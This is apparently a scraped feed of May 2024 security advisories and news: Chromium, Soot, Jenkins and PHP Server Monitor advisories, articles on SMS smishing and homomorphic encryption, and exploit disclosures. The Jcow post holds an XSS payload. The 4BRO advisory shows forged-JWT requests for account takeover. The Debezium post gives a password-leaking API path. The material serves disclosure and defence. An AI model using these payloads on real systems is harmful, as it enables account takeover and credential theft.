**Why is this Chrome CVE included in the Security Update Guide?**

The vulnerability assigned to this CVE is in Chromium Open Source Software (OSS) which is consumed by Microsoft Edge (Chromium-based). It is being documented in the Security Update Guide to announce that the latest version of Microsoft Edge (Chromium-based) is no longer vulnerable.

**How can I see the version of the browser?**

1.  In your Microsoft Edge browser, click on the 3 dots (...) on the very right-hand side of the window
2.  Click on **Help and Feedback**
3.  Click on **About Microsoft Edge**

CVE-2024-5158: Chromium: CVE-2024-5158 Type Confusion in V8

An infinite loop in the retrieveActiveBody function of Soot before v4.4.1 under Java 8 allows attackers to cause a Denial of Service (DoS).

**Soot Infinite Loop vulnerability**

High severity GitHub Reviewed Published May 24, 2024 to the GitHub Advisory Database

GHSA-hfg7-j82c-fr3w: Soot Infinite Loop vulnerability

By Deeba Ahmed
Fake Cloud, Real Theft!
This is a post from HackRead.com Read the original post: Top Cloud Services Used for Malicious Website Redirects in SMS Scams

SMS scammers are using cloud storage from Google, Amazon, and IBM to trick you! Learn how they’re doing it and how to protect yourself from these sneaky cloud phishing scams.

The threat intelligence unit at Enea, a software security firm based in Stockholm, Sweden, has uncovered a concerning trend: cybercriminals are exploiting cloud systems to perpetrate SMS scams including Smishing or SMS phishing.

According to the investigation by the company’s threat intelligence team, cloud storage services like Amazon S3, Google Cloud Storage, Backblaze B2, and IBM Cloud Object Storage are being exploited to redirect users to malicious websites, stealing their information through SMS.

(Screenshot: Enea)

****How Cloud Storage is Exploited?****

Cloud storage allows organizations and individuals to store, access, and manage files, including static websites. However, cybercriminals have exploited this facility to host static websites with embedded spam URLs in their source code.

These URLs are distributed via authentic text messages, bypassing firewall restrictions. Mobile users click on links containing cloud platform domains, which direct them to the static website stored in the storage bucket, automatically forwarding or redirecting them without user awareness.

****The Scam: From SMS to Fake Websites****

According to Enea’s blog post that the company shared with Hackread.com ahead of publication on Thursday 23rd, 2024, the attackers prioritize two main objectives: delivering scam messages without network firewall detection and convincing end users to perceive the messages or links as trustworthy. 

The scam starts with a seemingly harmless text message (SMS). These messages often contain enticing offers or create a sense of urgency, tricking recipients into clicking a link. This link redirects them to a malicious website cleverly disguised as a legitimate one.

As per the research, Google Cloud Storage’s domain, “storage.googleapis.com,” is used by attackers to link to a static webpage hosted in a bucket on the platform. The spam website is loaded from that webpage using the “HTML meta refresh” method, a technique used in web development to automatically refresh or redirect a web page after a certain time period.

These fake websites, typically hosted on cloud storage buckets with names like “dfa-b.html” on Google Cloud Storage, aim to steal personal and financial information once users enter it. Users are directed to fraudulent websites offering gift cards to trick users into revealing personal and financial information. 

These SMS scammers have also been observed using links to static websites hosted on Amazon Web Services (AWS), IBM Cloud, and Blackblaze B2 Cloud.

Malicious text messages sent through popular cloud storage services (Screenshot: Enea)

****Mitigation Strategies****

Detecting and blocking URLs containing genuine Google Cloud Storage domains is challenging due to their association with legitimate domains from reputable companies. To protect yourself from cloud phishing scams, be cautious with suspicious SMS links, check website legitimacy before entering personal information, and enable multi-factor authentication (MFA) to add an extra layer of security.

1.  The Top 5 Cloud Vulnerabilities You Should Know Of
2.  Cloud security – An ongoing struggle to keep sensitive data safe
3.  New Vulnerability LeakyCLI Leaks AWS, Google Cloud Credentials
4.  Shadow IT: Personal GitHub Repos Expose Employee Cloud Secrets
5.  Dropbox Abused in New Phishing, Malspam Scam to Steal SaaS Logins

Top Cloud Services Used for Malicious Website Redirects in SMS Scams

Jenkins Report Info Plugin 1.2 and earlier does not perform path validation of the workspace directory while serving report files.

Additionally, Report Info Plugin does not support distributed builds.

This results in a path traversal vulnerability, allowing attackers with Item/Configure permission to retrieve Surefire failures, PMD violations, Findbugs bugs, and Checkstyle errors on the controller file system by editing the workspace path.

As of publication of this advisory, there is no fix.

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2024-5273

**Jenkins Report Info Plugin Path Traversal vulnerability**

Moderate severity GitHub Reviewed Published May 24, 2024 to the GitHub Advisory Database • Updated May 24, 2024

**Package**

maven org.jenkins-ci.plugins:report-info (Maven)

Jenkins Report Info Plugin 1.2 and earlier does not perform path validation of the workspace directory while serving report files.

Additionally, Report Info Plugin does not support distributed builds.

This results in a path traversal vulnerability, allowing attackers with Item/Configure permission to retrieve Surefire failures, PMD violations, Findbugs bugs, and Checkstyle errors on the controller file system by editing the workspace path.

As of publication of this advisory, there is no fix.

**References**

*   https://nvd.nist.gov/vuln/detail/CVE-2024-5273
*   https://www.jenkins.io/security/advisory/2024-05-24/#SECURITY-3070

Published to the GitHub Advisory Database

May 24, 2024

Last updated

May 24, 2024

GHSA-cw5r-jx8r-9f7x: Jenkins Report Info Plugin Path Traversal vulnerability

PHP Server Monitor, version 3.2.0, is vulnerable to an XSS via the /phpservermon-3.2.0/vendor/phpmailer/phpmailer/test_script/index.php page in all visible parameters. An attacker could create a specially crafted URL, send it to a victim and retrieve their session details.

Skip to content

**Navigation Menu**

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2024-5312

**PHP Server Monitor vulnerable to Cross-site Scripting**

Moderate severity GitHub Reviewed Published May 24, 2024 to the GitHub Advisory Database • Updated May 24, 2024

**Package**

composer phpservermon/phpservermon (Composer)

**Affected versions**

<= 3.2.0

**Description**

Published to the GitHub Advisory Database

May 24, 2024

Last updated

May 24, 2024

GHSA-rq7f-j68f-mqh3: PHP Server Monitor vulnerable to Cross-site Scripting

By Uzair Amir
Is End-to-End Encryption (E2EE) a Myth? Traditional encryption has vulnerabilities. Fully Homomorphic Encryption (FHE) offers a new hope…
This is a post from HackRead.com Read the original post: How FHE Technology Is Making End-to-End Encryption a Reality

Is End-to-End Encryption (E2EE) a Myth? Traditional encryption has vulnerabilities. Fully Homomorphic Encryption (FHE) offers a new hope for truly secure messaging, cloud storage, and data analysis.

Encryption is like waterproofing: it needs to be all or not at all. Just as it makes no sense to waterproof a left shoe and leave the right unprotected, encrypting the consumer component of a messaging app is pointless if content can later be decrypted on cloud servers.

It’s called end-to-end encryption (E2EE) for a reason, but up until now many services claiming to utilize this technology have fallen woefully short. From an architectural perspective, E2EE is difficult to implement, particularly in applications that serve millions of users.

However, the emergence of a relatively new encryption technology is raising hope that E2EE may become a reality rather than an aspiration. Its name is Fully Homomorphic Encryption (FHE) and its unique design makes it ideally suited to services that are reliant on true end-to-end encryption.

**How End-to-End Encryption Works**

End-to-end encryption is a technology that’s meant to ensure that only users communicating with one another can read the messages. This could be two individuals chatting via a messaging application or it could be a business exchanging payment data with another entity such as a bank. Data is encrypted on the sender’s device and decrypted on the recipient’s device, preventing intermediaries, including service providers, from accessing the content.

This is achieved by using cryptographic keys that encode the message before transmitting it in encrypted form. The counterparty then decodes the message using its own cryptographic key in order to read its content. In addition to messaging apps such as Signal and Telegram, the technology is used by email providers, cloud storage services, and file-sharing platforms. It’s no exaggeration to say that E2EE is the backbone of the internet.

While E2EE can prove very effective at preventing third parties from intercepting messages, it is by no means bulletproof. Concerted attempts by adversaries, ranging from governments to state-sponsored hackers, to weaken encryption and introduce backdoors have resulted in many services that purport to use E2EE being vulnerable.

Critically, from the user’s perspective, there is no easy means of verifying whether encryption has been maintained throughout. As a result, individuals are compelled to take service providers at their word when they promise that messages are fully encrypted.

**How Encrypted Is Fully Encrypted?**

When a service claims to be end-to-end encrypted, it should be just that. In reality, implementations can differ wildly in terms of encryption strength. While it’s theoretically possible for users to check that the service they’re using is implementing robust encryption, it’s technically complex to do so, placing this ability beyond the reach of most users.

Telegram, for instance, allows users to verify that its open-source code is the same as that being used within its mobile applications and on desktop. However, this requires running a series of Terminal commands.

Telegram founder Pavel Durov has previously taken aim at other messaging applications, questioning the integrity of their E2EE. In his personal Telegram channel, he’s claimed: “An alarming number of important people I’ve spoken to remarked that their “private” Signal messages had been exploited against them in US courts or media. But whenever somebody raises doubt about their encryption, Signal’s typical response is “we are open source so anyone can verify that everything is all right”. That, however, is a trick.”

He then elaborates on the inability for users to verify that Signal’s Github code is the same as that running in the app. It should be noted that despite its claims to offer superior encryption, Telegram has also fielded accusations of weaknesses in its own E2EE implementation.

One of the challenges is that even when a service provider has implemented robust encryption, there is still the potential for messages to be deciphered. From weak key management to compromised devices due to malware, there’s a multitude of ways in which content can be accessed by adversaries. And when a key is compromised, unless the provider generates new keys for every session, it’s possible to decrypt the entire messaging history.

Finally, even when E2EE is working optimally, its implementation places additional computational demands on networks, resulting in increased latency and reduced performance, especially on devices with limited processing power or on blockchains where resources are capped. For this reason, E2EE is by no means impregnable. Can FHE solve some of these challenges, or will it run into the same problems that have weakened existing encryption protocols?

****FHE Meets E2EE****

One of the weak points with traditional E2EE is when it comes to decrypting the data: it’s here that there’s potential for a third party to gain access to it. FHE, in comparison, allows computation to be performed directly on encrypted data without decryption, ensuring that data remains protected throughout the entire process. This is its greatest attribute and the one that differentiates it from other encryption technologies.

It may be hard to visualize the benefit FHE brings to bear in this respect when considering a messaging application, in which the data must be decrypted before it can be read by the recipient. But consider another instance in which FHE proves superior at safeguarding data within E2EE systems: email. Here, FHE makes it possible for an email provider or cloud service to return results from an encrypted database without actually seeing the data.

This capability can also be extended to numerous other use cases in which data can be analyzed without disclosing its contents: analysts can run algorithms on encrypted datasets, with the results only decryptable by the intended recipient. Or machine learning models can be trained using encrypted data. This allows organizations to leverage powerful AI tools without compromising the privacy of the underlying data.

Within a blockchain context, fully homomorphic encryption also has significant potential, particularly in the construction of end-to-end encrypted applications for messaging or transmitting financial data. Fhenix, for example, is powered by fhEVM, a variation of the Ethereum Virtual Machine, that supports confidential smart contracts. As a result, confidential data can be analyzed and transmitted without its contents being disclosed.

Given that data remains encrypted at all stages with FHE – in transit, at rest, and during processing – it’s easy to see why developers are so excited about its potential for strengthening E2EE systems.

FHE can reduce the attack surface and ensure that sensitive data is never exposed to unauthorized parties, even during processing. This eliminates the need to trust service providers since they only handle encrypted data and mitigates the risks associated with data breaches. 

If FHE can achieve wider adoption, both in blockchain and traditional systems, end-to-end encryption may soon live up to its name, providing truly unbreakable data protection.

1.  WhatsApp Engineers Fear Encryption Flaw Exposes User Data
2.  8 tips to protect company data sent via home internet connections
3.  Signal, AI Generated Art Least, Amazon, Facebook Most Invasive Apps

How FHE Technology Is Making End-to-End Encryption a Reality

Jcow Social Networking versions 14.2 up to 16.2.1 suffer from a persistent cross site scripting vulnerability.

Change Mirror Download

    # Exploit Title: Jcow Social Networking 14.2 < 16.2.1 | Stored XSS # Date: 2024-05-23# Author: tmrswrr# Vendor Homepage: https://www.jcow.net/# Software Link: https://sourceforge.net/projects/jcow/# Tested : https://demo.jcow.net/# Version : 14.2 < 16.2.11) Login with any user Click invite place : https://127.0.0.1/Jcow/index.php?p=invite2) Write in To (Email address) field your payload : "><img src=x onerrora=confirm() onerror=confirm(1)>3) After Send invitations you will be see alert button

Jcow Social Network Cross Site Scripting

Ubuntu Security Notice 6785-1 - Matthias Gerstner discovered that GNOME Remote Desktop incorrectly performed certain user validation checks. A local attacker could possibly use this issue to obtain sensitive information, or take control of remote desktop connections.

    ==========================================================================Ubuntu Security Notice USN-6785-1May 23, 2024gnome-remote-desktop vulnerability==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 24.04 LTSSummary:GNOME Remote Desktop would allow unintended access to sensitive informationor remote desktop connections.Software Description:- gnome-remote-desktop: Remote desktop daemon for GNOMEDetails:Matthias Gerstner discovered that GNOME Remote Desktop incorrectlyperformed certain user validation checks. A local attacker could possiblyuse this issue to obtain sensitive information, or take control of remotedesktop connections.Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 24.04 LTS   gnome-remote-desktop            46.2-1~ubuntu24.04.2After a standard system update you need to reboot your computer to make allthe necessary changes.References:   https://ubuntu.com/security/notices/USN-6785-1   CVE-2024-5148Package Information:   https://launchpad.net/ubuntu/+source/gnome-remote-desktop/46.2-1~ubuntu24.04.2

Ubuntu Security Notice USN-6785-1

4BRO versions prior to 2024-04-17 suffer from insecure direct object reference and API information disclosure vulnerabilities.

    SEC Consult Vulnerability Lab Security Advisory < 20240522-0 >=======================================================================               title: Broken access control & API Information Exposure             product: 4BRO App  vulnerable version: before 2024-04-17       fixed version: 2024-04-17          CVE number: -              impact: Critical            homepage: https://www.4bro.de               found: 2023-05-07                  by: Max Rull (Office Bochum)                      SEC Consult Vulnerability Lab                      An integrated part of SEC Consult, an Eviden business                      Europe | Asia                      https://www.sec-consult.com=======================================================================Vendor description:-------------------"4BRO is a German company known for producing iced tea beverages. The brand offersa variety of flavors, including unique combinations such as peach, bubblegum,and watermelon mint. 4BRO emphasizes modern and appealing packaging, targetinga younger demographic. The company promotes its products through various platformsand incentivizes customer loyalty with their app, which allows users to collectpoints for rewards. The company's headquarters is located in Germany, and theirproducts are widely available both online and in retail stores."Source: https://www.4bro.deBusiness recommendation:------------------------The vendor has fixed the security issues in the API server as of 2024-04-17.SEC Consult highly recommends to perform a thorough security review of the productconducted by security professionals to identify and resolve potential furthersecurity issues.Vulnerability overview/description:-----------------------------------1) Broken access control via IDOR in 4BRO app APIAn IDOR vulnerability (Insecure Direct Object Reference) allows an attackerto change the username in the Bearer token used for authentication in the 4BRO app.This leads to account takeover as a result of broken access control (poor Bearertoken verification). Attackers are able to access all data or Bro points ("broins")from other users.2) API Information ExposureWhen opening the app as an unauthenticated user, the 4BRO app loads JSON datafrom a publicly available API endpoint containing sensitive data like e-mailaddresses of employees, internal invoices, a CV including personal information,a gift card etc.Proof of concept:-----------------1) Broken access control via IDOR in 4BRO app APIWhen logging in into the 4BRO app, the server returns a JWT (JSON Web Token).The "login" HTTP request looks like this:--------------------------------------------------------------------------------POST /api/user/signin HTTP/2Host: adminpanel.4bro.deContent-Type: application/json[...]{"email":"<login email>","password":"<login password>"}--------------------------------------------------------------------------------The server responds with a JWT used for authentication and additionalaccount-related data:--------------------------------------------------------------------------------HTTP/2 200 OKContent-Type: application/json; charset=utf-8[...]{     "token": "<JWT here>",     "userData": {         "isBlocked": false,         "_id": "[...]",         "userType": "USER",         "email": "<login email>",         "broins": 0,         "deviceId": null,         "userCreationDate": "2023-XX-XXTXX:XX:XX.XXXZ",         "address": [{                 "_id": "[...]",                 "streetName": "[...]",                 "streetNumber": "[...]",                 "postalcode": "[...]",                 "city": "[...]",                 "firstName": "[...]",                 "lastName": "[...]",                 "country": "at"             }         ],         "ratings": [],         "__v": 0,         "pushToken": "[...]",         "telekomUUID": "[...]"     }}--------------------------------------------------------------------------------Because the JWT is only base64-encoded, it is easy to decode the JWT'sheader and payload as clear text using JWT decoders like https://token.dev/:--------------------------------------------------------------------------------Header:{   "kid": "[...]",   "alg": "RS256"}--------------------------------------------------------------------------------Payload:{   "sub": "[...]",   "event_id": "[...]",   "token_use": "access",   "scope": "aws.cognito.signin.user.admin",   "auth_time": 1683565567,   "iss": "https://cognito-idp.eu-central-1.amazonaws.com/[...]",   "exp": 1683569167,   "iat": 1683565567,   "jti": "[...]",   "client_id": "[...]",   "username": "<login email>"}--------------------------------------------------------------------------------The payload of the JWT contains multiple values indicating that AWS Cognito is in use.By changing the "username" value of the JWT payload to a victim email, it is possibleto use the modified JWT for authenticating as the victim. The victim should alreadyhave a normally registered account in the 4BRO app. By trial and error, it turns outthat even the following modified JWT payload gets accepted by the server:--------------------------------------------------------------------------------{   "sub": "0",   "event_id": "0",   "token_use": "access",   "scope": "aws.cognito.signin.user.admin",   "auth_time": 0,   "iss": "",   "exp": 0,   "iat": 0,   "jti": "0",   "client_id": "0",   "username": "<login email>"}--------------------------------------------------------------------------------Meanwhile, the "kid" property in the JWT header must be a valid value, but can belongto any other already existing 4BRO app account. The JWT signature can be the sameand does not get verified at all.Using the modified JWT, all API methods supported by the 4BRO app can be executed.Because the server only checks the "username" property in the JWT payload and doesslim to none JWT verification, the server thinks that the request came from theaccount associated with the login email contained in the "username" property.This way, sensitive data such as the current "broin" balance, full user data as seenin the login response, previous transactions, redeemed vouchers and goodies etc.can be accessed without restrictions, using the 4BRO API. Also, the "sending broins"action can be performed so that earned "broins" could be transferred to an attacker'saccount balance.2) API Information ExposureBy monitoring the 4BRO app's requests over a proxy, it can be observed thatthe following HTTP request is made when opening the "Goodies" section of the app:--------------------------------------------------------------------------------GET /api/goodies?pageSize=1000 HTTP/2Host: adminpanel.4bro.de[...]--------------------------------------------------------------------------------The response is a JSON object containing all goodies that are or were at some pointavailable in the 4BRO app:--------------------------------------------------------------------------------HTTP/2 200 OKContent-Type: application/json; charset=utf-8Content-Length: 327138[...]{     "goodiesList": [{             "_id": "61950603005c650530b63aac",             "name": "1x 4BRO Getränk Imbiss",             "longDescription": "[...]",             "shortDescription": "Auf unseren Nacken!",             "imagePath":"https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/goodies/app_kachel_food_256x256.jpg",             "category": "Food",             "quantity": 999999999999808,             "costOfGoodie": 250,             "supplier": "<email removed>",             "totalGoodies": 999999999999861,             "goodieAvailableTime": "Unlimited",             "deliveryMethod": "partnerCoupon",             "isNewGoodie": false,             "inhouseAppVoucherUrl":"https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/inhouseAppVouchers/undefined",             "__v": 1,             "rating": {                 "value": 3.991869918699184,                 "total": 123             },             "forceGoodie": "true",             "goodieAvailableEndTime": null,             "goodieAvailableStartTime": null,             "restriction": [],             "hidden": false,             "slashedCostOfGoodie": null         },{    [...]    },    [...]    }     ],     "goodieCount": 371}--------------------------------------------------------------------------------This JSON object contains already sensitive data such as the goodie supplier's emailaddresses. Out of the 371 goodies, 36 of those have a URL to a PDF file containedwithin the "inhouseAppVoucherUrl" property. Because these files are hosted on anAWS S3 bucket, everyone can access these documents without authentication.These documents seem to contain various sensitive company internal and personalinformation.While discovering vulnerability 1), we found that old gift codes were also stored asPDF files on the AWS S3 bucket. The names of the gift code PDF files indicate thatthere may be more similarly named documents (IDOR) which could be detected in anautomated way. This could be leveraged to find additional gift code PDF files storedon the AWS S3 bucket.Vulnerable / tested versions:-----------------------------The following app version has been tested and downloaded through Google Play store,which was the most recent version available at the time of the test:* 3.14.7Because the vulnerability is actually server-side within the API, the iOS app wasalso affected at the time the vulnerabilities were discovered.Vendor contact timeline:------------------------2023-06-12: Contacting vendor through broservice@4bro.de (owner) and info@dev5310.com             (developers according to Google Play store)2023-06-15: Vendor asks about the risks of the identified vulnerabilities and which             parts of the application are affected and whether any costs would arise             before they provide us with a security contact.2023-06-16: Detailed answer regarding risk estimation, responsible disclosure and             that no costs are involved.2023-06-19: Vendor requests a phone conference, scheduled for 21st June.2023-06-21: Clarifying responsible disclosure, explaining vulnerabilities and next             steps in phone call. Providing security advisory to vendor.2023-06-29: Vendor has sent the advisory to the developer team for evaluation             and will notify SEC Consult about the release of the security patch.2023-08-18: Asking for a status update.2023-08-31: It is planned to release an Android/iOS app update end of September2023-09-18: Vendor needs to postpone update, no new date available.2023-11-08: Asking for a status update; no response.2023-11-21: Asking for a status update.2023-12-11: Vendor response, fix is available in test environment, production             will be fixed by end of this year.2024-01-24: Asking for a status update; no response.2024-02-12: Asking for a status update.2024-02-12: Vendor is still waiting for a response from their IT.2024-04-17: Asking for a status update.2024-04-17: Vendor states that the vulnerabilities have been fixed.2024-04-17: Asking for the fix date, whether an app update was needed for applying             the fix, and the fixed app version. No response.2024-05-13: Asking vendor again about fixed version, etc., setting preliminary release             date to 2024-05-21. No response.2024-05-22: Release of security advisorySolution:---------The vendor implemented a fix in the affected API server as of 2024-04-17.An app update on Android or iOS is not required to apply the fix.Workaround:-----------NoneAdvisory URL:-------------https://sec-consult.com/vulnerability-lab/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SEC Consult Vulnerability LabAn integrated part of SEC Consult, an Eviden businessEurope | AsiaAbout SEC Consult Vulnerability LabThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, anEviden business. It ensures the continued knowledge gain of SEC Consult in thefield of network and application security to stay ahead of the attacker. TheSEC Consult Vulnerability Lab supports high-quality penetration testing andthe evaluation of new offensive and defensive technologies for our customers.Hence our customers obtain the most current information about vulnerabilitiesand valid recommendation about the risk profile of new technologies.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Interested to work with the experts of SEC Consult?Send us your application https://sec-consult.com/career/Interested in improving your cyber security with the experts of SEC Consult?Contact our local offices https://sec-consult.com/contact/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Mail: security-research at sec-consult dot comWeb: https://www.sec-consult.comBlog: https://blog.sec-consult.comTwitter: https://twitter.com/sec_consultEOF M. Rull / @2024

4BRO Insecure Direct Object Reference / API Information Exposure

Debezium UI version 2.5 suffers from a credential disclosure vulnerability.

    # Exploit Title: Debezium UI - Credential Leakage# Google Dork: N/A# Date: [2024-03-11]# Exploit Author: Ihsan Cetin, Hamza Kaya Toprak# Vendor Homepage: https://debezium.io/# Software Link: N/A# Version: < 2.5 (REQUIRED)# Tested on: [N/A]# CVE : CVE-2024-28736Proof of concept:# Details#Debezium-ui (version 2.5) is vulnerable to a password exposure issue that could allow an attacker to retrieve sensitive credentials in plaintext format.# PoC :#Unmasked Password in Connector Configuration: When navigating to the connectors section within the application's connector screen, the password field, which should ideally be masked for security purposes, is briefly displayed in plaintext format during the initial seconds.# Plaintext Password Retrieval via API Endpoint: By accessing the URLhttp://10.0.15.51:8080//api/connectors/1/account-activity/config#and searching for the database.password parameter, an attacker can retrieve the database password in plaintext format without any authentication.

Tag

#vulnerability